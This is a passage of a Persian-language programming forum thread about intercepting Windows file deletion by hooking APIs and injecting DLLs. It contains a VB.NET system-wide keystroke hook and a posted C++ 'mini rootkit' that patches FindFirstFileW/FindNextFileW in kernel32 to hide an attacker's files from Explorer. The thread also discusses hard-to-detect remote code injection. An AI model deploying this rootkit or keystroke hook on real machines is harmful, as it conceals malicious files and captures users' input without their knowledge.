امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
رونویسی یک فانکشن در kernel32 - اینجکتشن
نویسنده پیام
amin_vb آفلاین
كاربر دو ستاره
**

ارسال‌ها: 66
موضوع‌ها: 17
تاریخ عضویت: فروردین ۱۳۸۴

تشکرها : 27
( 13 تشکر در 10 ارسال )
ارسال: #12
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
(۱۰-فروردین-۱۳۸۹, ۱۱:۴۶:۴۳)lord_viper نوشته است: شما برای کاری که میخواهید انجام بدین باید تابع deletefile رو هوک کنید اون پروگرس بار رو explorer نشون میده و برای حذف هر فایل از تابع deleteFile استفاده میکنه هر وقت کاربر بخواهد فایلی رو حذف کنه ادرس اون فایل به عنوان پارامتر به تابع DeleteFile ارسال میشه وقتی شما این تابع رو هوک میکنین تابع شما قبل از تابع اصلی اطلاعات رو دریافت میکنه و پردازش میکنه و در صورت تایید تابع شما تابع اصلی DeleteFile رو فراخوانی میکنه

ببینید بزارین یه مثالی اینجا بزارم :
کد php:
Public Class KeyboardHook
    
''Constants
    
Private Const HC_ACTION As Integer 0
    
Private Const WH_KEYBOARD_LL As Integer 13
    
Private Const WM_KEYDOWN = &H100
    
Private Const WM_KEYUP = &H101
    
Private Const WM_SYSKEYDOWN = &H104
    
Private Const WM_SYSKEYUP = &H105

    
''Keypress Structure
    
Private Structure KBDLLHOOKSTRUCT
        
Public vkCode As Integer
        
Public scancode As Integer
        
Public flags As Integer
        
Public time As Integer
        
Public dwExtraInfo As Integer
    End Structure
    
''API Functions
    
Private Declare Function SetWindowsHookEx Lib "user32" _
    Alias 
"SetWindowsHookExA" _
    
(ByVal idHook As Integer_
    ByVal lpfn 
As KeyboardProcDelegate_
    ByVal hmod 
As Integer_
    ByVal dwThreadId 
As Integer) As Integer

    
Private Declare Function CallNextHookEx Lib "user32" _
    
(ByVal hHook As Integer_
    ByVal nCode 
As Integer_
    ByVal wParam 
As Integer_
    ByVal lParam 
As KBDLLHOOKSTRUCT) As Integer

    
Private Declare Function UnhookWindowsHookEx Lib "user32" _
    
(ByVal hHook As Integer) As Integer

    
''Our Keyboard Delegate
    
Private Delegate Function KeyboardProcDelegate _
    
(ByVal nCode As Integer_
    ByVal wParam 
As Integer_
    ByRef lParam 
As KBDLLHOOKSTRUCT) As Integer

    
''The KeyPress events
    
Public Shared Event KeyDown(ByVal Key As Keys)
    Public 
Shared Event KeyUp(ByVal Key As Keys)
    
''The identifyer for our KeyHook
    
Private Shared KeyHook As Integer
    
''KeyHookDelegate
    
Private Shared KeyHookDelegate As KeyboardProcDelegate

    
Public Sub New()
        
''Installs a Low Level Keyboard Hook
        KeyHookDelegate 
= New KeyboardProcDelegate(AddressOf KeyboardProc)
        
KeyHook SetWindowsHookEx(WH_KEYBOARD_LLKeyHookDelegateSystem.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt320)
    
End Sub

    
Private Shared Function KeyboardProc(ByVal nCode As IntegerByVal wParam As IntegerByRef lParam As KBDLLHOOKSTRUCT) As Integer
        
''If it is a keypress
        
If (nCode HC_ACTIONThen
            Select 
Case wParam
                
''If it is a Keydown Event
                
Case WM_KEYDOWNWM_SYSKEYDOWN
                    
''Activates the KeyDown event in Form 1
                    RaiseEvent KeyDown
(CType(lParam.vkCodeKeys))
                Case 
WM_KEYUPWM_SYSKEYUP
                    
''Activates the KeyUp event in Form 1
                    RaiseEvent KeyUp
(CType(lParam.vkCodeKeys))
            
End Select
        End 
If
        
''Next
        
Return CallNextHookEx(KeyHooknCodewParamlParam)
    
End Function

    Protected 
Overrides Sub Finalize()
        
''On close it UnHooks the Hook
        UnhookWindowsHookEx
(KeyHook)
        
MyBase.Finalize()
    
End Sub
End 
Class 
کد php:
Public Class Form1
    
Private WithEvents kbHook As New KeyboardHook
    
Private Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.KeysHandles kbHook.KeyDown
        TextBox1
.Text TextBox1.Text Key.ToString " KeyDown" vbNewLine
    End Sub

    
Private Sub kbHook_KeyUp(ByVal Key As System.Windows.Forms.KeysHandles kbHook.KeyUp
        TextBox1
.Text TextBox1.Text Key.ToString " KeyUp" vbNewLine
    End Sub


End 
Class 

این مثال بالا کیبرد رو داره هوک می کنه .
حالا فرض کنید مثل اون موردی که برای دیلیت کردن گفتم (بعضی فایلها دیلیت کردنشون کنسل بشه بعضیا دیلیت بشن) بخایم عمل کنیم . اینجا راحت می تونیم یه سری از کلیدهای کیبرد رو فیلتر کنیم . برای این کار کافیه کد هر کلید رو بررسی کنیم و اگه خواستیم اونو فیلتر کنیم . به این صورت تابع KeyboardProc رو تغییر میدیم :
کد php:
Private Shared Function KeyboardProc(ByVal nCode As IntegerByVal wParam As IntegerByRef lParam As KBDLLHOOKSTRUCT) As Integer
        
''If it is a keypress
        
If (nCode HC_ACTIONThen
            Select 
Case wParam
                
''If it is a Keydown Event
                
Case WM_KEYDOWNWM_SYSKEYDOWN
                    
''Activates the KeyDown event in Form 1
                    RaiseEvent KeyDown
(CType(lParam.vkCodeKeys))
                Case 
WM_KEYUPWM_SYSKEYUP
                    
''Activates the KeyUp event in Form 1
                    RaiseEvent KeyUp
(CType(lParam.vkCodeKeys))
            
End Select
        End 
If
        
''Next
        
If CType(lParam.vkCodeKeys) = Keys.A Then
            
Return 1
        
Else
            Return 
CallNextHookEx(KeyHooknCodewParamlParam)
        
End If
   
    
End Function 

خوب این خیلی سادست ! به همین راحتی کلید A رو از صفحه کلید اجازه عبور نمی دیم بهش ! اما بقیه کلید ها رو می ذاریم عبور کنن . یعنی عملا توی هوکمون فیلتر گذاشتیم . این کار نه نوشتن dll لازم داره و نه اینجکت کردن و نه تغییر تیبل و ... . و در سطح کل سیستم هم جواب می ده . حالا مابه این سناریو رو دقیقا می خام برای تابع delete پیاده سازی کنم . ! و دقیقا مشابه همین هم فیلتر کنم . پس نباید به اینجکت و نوشتن dll احتیاج باشه . آره ؟
۱۰-فروردین-۱۳۸۹, ۱۳:۳۳:۲۲
ارسال‌ها
پاسخ
تشکر شده توسط : اشک
joker آفلاین
کاربر با تجربه
****

ارسال‌ها: 798
موضوع‌ها: 67
تاریخ عضویت: آذر ۱۳۸۵

تشکرها : 849
( 3655 تشکر در 908 ارسال )
ارسال: #13
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
نقل قول: خوب این خیلی سادست ! به همین راحتی کلید A رو از صفحه کلید اجازه عبور نمی دیم بهش ! اما بقیه کلید ها رو می ذاریم عبور کنن . یعنی عملا توی هوکمون فیلتر گذاشتیم . این کار نه نوشتن dll لازم داره و نه اینجکت کردن و نه تغییر تیبل و ... . و در سطح کل سیستم هم جواب می ده . حالا مابه این سناریو رو دقیقا می خام برای تابع delete پیاده سازی کنم . ! و دقیقا مشابه همین هم فیلتر کنم . پس نباید به اینجکت و نوشتن dll احتیاج باشه . آره ؟
اگه dll ش نکنی و به تمام پروسه ها تزریق نکنی این کار فقط در سطح برنامه ای که نوشتی انجام پذیر میشه ،

[تصویر:  sajdelogo.gif]
۱۰-فروردین-۱۳۸۹, ۱۳:۴۰:۴۹
ارسال‌ها
پاسخ
تشکر شده توسط : اشک
amin_vb آفلاین
كاربر دو ستاره
**

ارسال‌ها: 66
موضوع‌ها: 17
تاریخ عضویت: فروردین ۱۳۸۴

تشکرها : 27
( 13 تشکر در 10 ارسال )
ارسال: #14
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
(۱۰-فروردین-۱۳۸۹, ۱۳:۴۰:۴۹)joker نوشته است:
نقل قول: خوب این خیلی سادست ! به همین راحتی کلید A رو از صفحه کلید اجازه عبور نمی دیم بهش ! اما بقیه کلید ها رو می ذاریم عبور کنن . یعنی عملا توی هوکمون فیلتر گذاشتیم . این کار نه نوشتن dll لازم داره و نه اینجکت کردن و نه تغییر تیبل و ... . و در سطح کل سیستم هم جواب می ده . حالا مابه این سناریو رو دقیقا می خام برای تابع delete پیاده سازی کنم . ! و دقیقا مشابه همین هم فیلتر کنم . پس نباید به اینجکت و نوشتن dll احتیاج باشه . آره ؟
اگه dll ش نکنی و به تمام پروسه ها تزریق نکنی این کار فقط در سطح برنامه ای که نوشتی انجام پذیر میشه ،


اون مثال کیبرد رو برای همین زدم دیگه ! اونو که dll نکردم ! فقط تا زمانی که برنامه من در ال اجرا باشه (حتی به صورت مخفی در بکگراند مثلا) در تمام برنامه های دیگه اون هوک انجام می گیره ! یعنی شما در هیچ برنامه ای نمی تونین کلید A رو ارسال کنین . بدون نوشتن dll و اینجکت بوده !
۱۰-فروردین-۱۳۸۹, ۱۳:۴۶:۰۷
ارسال‌ها
پاسخ
joker آفلاین
کاربر با تجربه
****

ارسال‌ها: 798
موضوع‌ها: 67
تاریخ عضویت: آذر ۱۳۸۵

تشکرها : 849
( 3655 تشکر در 908 ارسال )
ارسال: #15
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
خب به سلامتی دیگه :)

deletefile هم فقط یک ورودی داره که استرینگ هست و پردازش متن برای چک کردن اسم فایلی که برای حذف بهش اومده تمومه :)

[تصویر:  sajdelogo.gif]
۱۰-فروردین-۱۳۸۹, ۱۴:۰۲:۰۴
ارسال‌ها
پاسخ
تشکر شده توسط : اشک
amin_vb آفلاین
كاربر دو ستاره
**

ارسال‌ها: 66
موضوع‌ها: 17
تاریخ عضویت: فروردین ۱۳۸۴

تشکرها : 27
( 13 تشکر در 10 ارسال )
ارسال: #16
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
متاسفانه هر کاری کردم موفق نشدم اون هوک لعنتی رو بنویسم !
کسی نیست که تجربه ای در این زمینه داشته باشه و بگه چطور بنویسم اونو ؟ :(
یا یه نمونه کوچیک بزاره که مثلا دیلیت کردن ها رو کنسل کنه ؟ یا یه در میون کنسل کنه ؟
:(
۱۱-فروردین-۱۳۸۹, ۰۰:۲۷:۳۸
ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #17
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
شما نظرتون در مورد هوک اشتباس
2 نوع هوک تو ویندوز داریم
1 هوکی که توسط توابع api و ویندوز پیاده سازی میشه که محدود به هوک های زیر می باشد
کد:
CallMsgFilter
CallNextHookEx
CallWndProc
CallWndRetProc
CBTProc
DebugProc
ForegroundIdleProc
GetMsgProc
JournalPlaybackProc
JournalRecordProc
KeyboardProc
MessageProc
MouseProc
SetWindowsHookEx
ShellProc
SysMsgProc
UnhookWindowsHookEx
hookapi با هوکی که داخل ویندوز هست کاملا متفاوته
هوک خاصی برای کاری که شما میخواهید انجام بدین وجود نداره پس بیخودی به هوک کیبورد که توسط خود ویندوز و توابع api مدیریت میشه نچسب

این یه مینی روتکیت هست که با هوک findFirstFileW و FineNextFileW فایلهای مورد نظر مهاجم رو در explorer مخفی میکنه

کد:
// Example of a little rootkit
// E0N (L) 2007

#include <windows.h>
#include <iostream>


// DECLARACIONES:
BYTE *BufferFF;                 // Buffer to  use original FindFirstFileW
BYTE *BufferFN;                 // Buffer to use original FindNextFileW
char Prefijo[] = "miniRoot_";   // prefix for hide files


// FUNCIONES:
void    Hookear();  // Función que hookeará el api

// Función que será llamada en vez de FindFirstFileW
HANDLE  __stdcall miFindFirstFileW(LPCTSTR lpFileName,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindFirstFileW original
HANDLE (__stdcall *pBuffFF) (LPCTSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);

// Función que será llamada en vez de FindNextFileW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);





// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
MessageBox (0, "CARGADA!!!!!", "", 0);
Hookear();
}
return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPAL CREYENDO QUE ES EL API FINDFIRSTFILEW
HANDLE  __stdcall miFindFirstFileW(LPCTSTR lpFileName,LPWIN32_FIND_DATAW lpFindFileData)
{
// No hacemos nada en especial

HANDLE hand = pBuffFF(lpFileName,lpFindFileData);
return hand;
}


// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja;  // Parametro para VirtualProtect

BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
BYTE  *DirYoFN;    // La dirección en memoria de la función que replaza a FindNextFileW

BYTE  *DirFF;      // La dirección en memoria de FindFirstFileW
BYTE  *DirYoFF;    // La dirección en memoria de la función que replaza a FindFirstFileW


// --> HOOKEAMOS FINDFIRSTFILEW (7 bytes)


// Obtenemos la dirección en memoria de FindNextFileW
DirFF=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindFirstFileW");

// Reservamos 12 bytes de memoria para nuestro Buffer
BufferFF=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFF, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFF,DirFF,7);
BufferFF += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFF=0xE9;
BufferFF++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFF)= DirFF - BufferFF + 3;

// Asignamos al puntero a funcion pBuff el inicio del Buffer para poder ejecutar el api original
pBuffFF = (HANDLE (__stdcall *)(LPCTSTR,LPWIN32_FIND_DATAW)) (BufferFF-8);


// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFF,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFF=(BYTE *) miFindFirstFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFF=0xE9;
DirFF++;

// Metemos la distancia del salto
*((signed int *) DirFF)=DirYoFF - DirFF - 4;



// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)


// Obtenemos la dirección en memoria de FindNextFileW
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

// Reservamos 12 bytes de memoria para nuestro Buffer
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9;
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;

// Asignamos al puntero a funcion pBuff el inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);


// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4;

// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

شما در کل این کد هیچ تابعی مثل SetWindowsHookEx یا CallNextHookEx و .... پیدا نمیکنید

[تصویر:  xshon.png]
از آن نماز که خود هیچ از آن نمی فهمی خدا چه فایده و بهره اکتساب کند
تفاخری نبود مر خدای عالم را که چون تو ابلهی او را خدا حساب کند
۱۱-فروردین-۱۳۸۹, ۱۹:۵۲:۳۱
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : amin_vb, اشک
joker آفلاین
کاربر با تجربه
****

ارسال‌ها: 798
موضوع‌ها: 67
تاریخ عضویت: آذر ۱۳۸۵

تشکرها : 849
( 3655 تشکر در 908 ارسال )
ارسال: #18
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
(۱۱-فروردین-۱۳۸۹, ۰۰:۲۷:۳۸)amin_vb نوشته است: متاسفانه هر کاری کردم موفق نشدم اون هوک لعنتی رو بنویسم !
کسی نیست که تجربه ای در این زمینه داشته باشه و بگه چطور بنویسم اونو ؟ :(
یا یه نمونه کوچیک بزاره که مثلا دیلیت کردن ها رو کنسل کنه ؟ یا یه در میون کنسل کنه ؟
:(

شما این یکبارو به حرف من گوش کن ، dllش کن ، به تمام پروسه ها ( یا در این مورد خاص اکسپلورر) اینجکتش کن میشه Wink

[تصویر:  sajdelogo.gif]
۱۱-فروردین-۱۳۸۹, ۲۳:۳۱:۴۸
ارسال‌ها
پاسخ
تشکر شده توسط : amin_vb, اشک
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #19
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
برای هوک کردن تابع شما باید درون فضای ادرسی پروسه یا پروسه های هدف باشه برای این کار حداقل 2 راه عمومی وجود داره
1.خودت اینجکت کنی
2.از تابع SetWindowsHookEx در قالب یک GlobalHook استفاده کنی( همون طور که joker عزیز گفت)
یعنی یه dll بنویسی که مثلا یک MessageHook سوری باشه و در انتها هوک خودت وجود داشته باشه با اجرای اون خود ویندوز dll ت رو به تمامی پروسه هایی که از user32 استفاده میکنن inject میکنه

اگه نخواهی از dll استفاده کنی باید از تکنیک Remoute execute استفاده کنی

[تصویر:  xshon.png]
از آن نماز که خود هیچ از آن نمی فهمی خدا چه فایده و بهره اکتساب کند
تفاخری نبود مر خدای عالم را که چون تو ابلهی او را خدا حساب کند
۱۲-فروردین-۱۳۸۹, ۱۰:۲۲:۲۵
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : amin_vb, اشک
amin_vb آفلاین
كاربر دو ستاره
**

ارسال‌ها: 66
موضوع‌ها: 17
تاریخ عضویت: فروردین ۱۳۸۴

تشکرها : 27
( 13 تشکر در 10 ارسال )
ارسال: #20
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
خوب پس چندتا سوال برام پیش اومده :
اول اینکه این ریمون اگزکیوت چیه ؟ مزایا و معایبش چیه نسبت به این روش ؟

دوم اینکه : فرض کنید قراره dll بنویسیم و اینجکت کنیم . این dll رو با ویژوال بیسیک بنویسیم ؟ مشکل تایپ ها به وجود نمیاد ؟ از چه لینکری بارش استفاده کنم ؟ لینکر خود ویژوال بیسیک ؟
یعنی مثلا یک پروژه جدید اکتیوکس دی ال ال باز کنم و توش یه ماژول ایجاد کنم ( و نه کلاس؟) و بعد این کدو بزارم توش و بعد معمولی اونو کامپایل کنم ؟ (با لینکر خودش)
نقل قول: Public Function DeleteFileA(path As String) As Boolean
DeleteFileA = False
End Function

همین جوری ؟ ! بعد این dll امادس که اینجکت بشه و جای deletefileA رو بگیره ؟ یا جه تمهیدات دیگه ای باید درنظر گرفت براش ؟
۱۲-فروردین-۱۳۸۹, ۱۴:۳۲:۱۶
ارسال‌ها
پاسخ
تشکر شده توسط : اشک
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #21
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
(۱۲-فروردین-۱۳۸۹, ۱۴:۳۲:۱۶)amin_vb نوشته است: خوب پس چندتا سوال برام پیش اومده :
اول اینکه این ریمون اگزکیوت چیه ؟ مزایا و معایبش چیه نسبت به این روش ?
مزایاش اینه که ردیابیش خیلی سخته و نیاز به فایلهای جانبی مثل dll هم نداری
معایبش این هست که پیاده سازیش سخته
اگه توابعی که بکاربردی تو برنامه اصلی نباشه ارور میده
نقل قول: دوم اینکه : فرض کنید قراره dll بنویسیم و اینجکت کنیم . این dll رو با ویژوال بیسیک بنویسیم ؟
visual basic؟ اومدی نسازیا dll ی که مینویسی باید standard باشه
نقل قول: مشکل تایپ ها به وجود نمیاد ؟ از چه لینکری بارش استفاده کنم ؟ لینکر خود ویژوال بیسیک ؟
هیچ مشکلی به وجود نمیاد ویندوز خودش میدونه چطوری با اینها برخورد کنه
نقل قول: یعنی مثلا یک پروژه جدید اکتیوکس دی ال ال باز کنم و توش یه ماژول ایجاد کنم ( و نه کلاس؟) و بعد این کدو بزارم توش و بعد معمولی اونو کامپایل کنم ؟ (با لینکر خودش)
نقل قول: Public Function DeleteFileA(path As String) As Boolean
DeleteFileA = False
End Function

همین جوری ؟ ! بعد این dll امادس که اینجکت بشه و جای deletefileA رو بگیره ؟ یا جه تمهیدات دیگه ای باید درنظر گرفت براش ؟
اون نمونه مثالی که زدم رو دیدی؟
خب اگه از این کد استفاده کنی و هر پروسه ای رو هوک کنی به طور کل حذف فایل درش غیر فعال میشه

نوشتن dll و inject اون به پروسه هدف فقط نصف کار هست و اصل کار از اونجا به بعد شروع میشه یعنی رونویسی IAT مربوط به DeleteFile

[تصویر:  xshon.png]
از آن نماز که خود هیچ از آن نمی فهمی خدا چه فایده و بهره اکتساب کند
تفاخری نبود مر خدای عالم را که چون تو ابلهی او را خدا حساب کند
۱۲-فروردین-۱۳۸۹, ۱۶:۰۷:۳۳
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : اشک, Di Di, amin_vb
amin_vb آفلاین
كاربر دو ستاره
**

ارسال‌ها: 66
موضوع‌ها: 17
تاریخ عضویت: فروردین ۱۳۸۴

تشکرها : 27
( 13 تشکر در 10 ارسال )
ارسال: #22
RE: رونویسی یک فانکشن در kernel32 - اینجکتشن
ممنون
//
سوال : حالا توی این روش من همون dll رو اینجکت کنم از این به بعد موقع دیلیت کردن فایل ها اون تابع فراخونی میشه ! اما همچنان اون پروگرس بار خود ویندوز/اکسپلورر نمایش داده میشه که ! اگه بخام مثلا پروگرس بار رو عوض کنم و یا اینکه مثلا در حین دیلیت کردن ها مسیج باکس هم بدم باید چه کنم ؟ توی dll که نمیشه از اینا استفاده کرد دیگه (مسیج باکس/دی ال ال) . درست می گم ؟ راه حلش چیه ؟
۱۵-فروردین-۱۳۸۹, ۲۳:۰۴:۰۰
ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  [سوال] فانکشن برای تشخیص زبان عبارت متنی eppagh 0 1,726 ۱۳-شهریور-۱۳۹۳, ۱۰:۲۵:۲۵
آخرین ارسال: eppagh
  [سوال] نوشتن توضیح در فانکشن Add-in eppagh 4 3,633 ۱۳-مرداد-۱۳۹۳, ۱۴:۱۷:۲۸
آخرین ارسال: babyy

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS